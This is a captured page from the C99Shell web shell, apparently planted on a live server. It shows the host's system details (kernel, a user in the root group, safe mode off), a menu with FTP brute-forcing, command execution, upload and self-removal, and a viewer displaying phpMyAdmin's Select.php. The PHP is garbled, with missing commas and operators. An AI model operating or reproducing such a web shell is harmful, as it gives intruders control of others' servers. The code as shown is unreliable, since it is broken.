!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/libraries/classes/Server/   drwxr-xr-x
Free 28.76 GB of 117.98 GB (24.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Select.php (3.52 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Code for displaying server selection
 */

declare(strict_types=1);

namespace 
PhpMyAdmin\Server;

use 
PhpMyAdmin\Template;
use 
PhpMyAdmin\Url;
use 
PhpMyAdmin\Util;

use function 
count;
use function 
implode;
use function 
is_array;
use function 
str_contains;

/**
 * Displays the MySQL servers choice form
 */
class Select
{
    
/**
     * Renders the server selection in list or selectbox form, or option tags only
     *
     * @param bool $not_only_options whether to include form tags or not
     * @param bool $omit_fieldset    whether to omit fieldset tag or not
     *
     * @return string
     */
    
public static function render($not_only_options$omit_fieldset)
    {
        
// Show as list?
        
if ($not_only_options) {
            
$list $GLOBALS['cfg']['DisplayServersList'];
            
$not_only_options = ! $list;
        } else {
            
$list false;
        }

        
$form_action '';
        if (
$not_only_options) {
            
$form_action Util::getScriptNameForOption($GLOBALS['cfg']['DefaultTabServer'], 'server');
        }

        
$servers = [];
        foreach (
$GLOBALS['cfg']['Servers'] as $key => $server) {
            if (empty(
$server['host'])) {
                continue;
            }

            if (! empty(
$GLOBALS['server']) && (int) $GLOBALS['server'] === (int) $key) {
                
$selected 1;
            } else {
                
$selected 0;
            }

            if (! empty(
$server['verbose'])) {
                
$label $server['verbose'];
            } else {
                
$label $server['host'];
                if (! empty(
$server['port'])) {
                    
$label .= ':' $server['port'];
                }
            }

            if (! empty(
$server['only_db'])) {
                if (! 
is_array($server['only_db'])) {
                    
$label .= ' - ' $server['only_db'];
                    
// try to avoid displaying a too wide selector
                
} elseif (count($server['only_db']) < 4) {
                    
$label .= ' - ' implode(', '$server['only_db']);
                }
            }

            if (! empty(
$server['user']) && $server['auth_type'] === 'config') {
                
$label .= '  (' $server['user'] . ')';
            }

            if (
$list) {
                if (
$selected) {
                    
$servers['list'][] = [
                        
'selected' => true,
                        
'label' => $label,
                    ];
                } else {
                    
$scriptName Util::getScriptNameForOption($GLOBALS['cfg']['DefaultTabServer'], 'server');
                    
$href $scriptName Url::getCommon(
                        [
'server' => $key],
                        ! 
str_contains($scriptName'?') ? '?' '&'
                    
);
                    
$servers['list'][] = [
                        
'href' => $href,
                        
'label' => $label,
                    ];
                }
            } else {
                
$servers['select'][] = [
                    
'value' => $key,
                    
'selected' => $selected,
                    
'label' => $label,
                ];
            }
        }

        
$renderDetails = [
            
'not_only_options' => $not_only_options,
            
'omit_fieldset' => $omit_fieldset,
            
'servers' => $servers,
        ];
        if (
$not_only_options) {
            
$renderDetails['form_action'] = $form_action;
        }

        
$template = new Template();

        return 
$template->render('server/select/index'$renderDetails);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--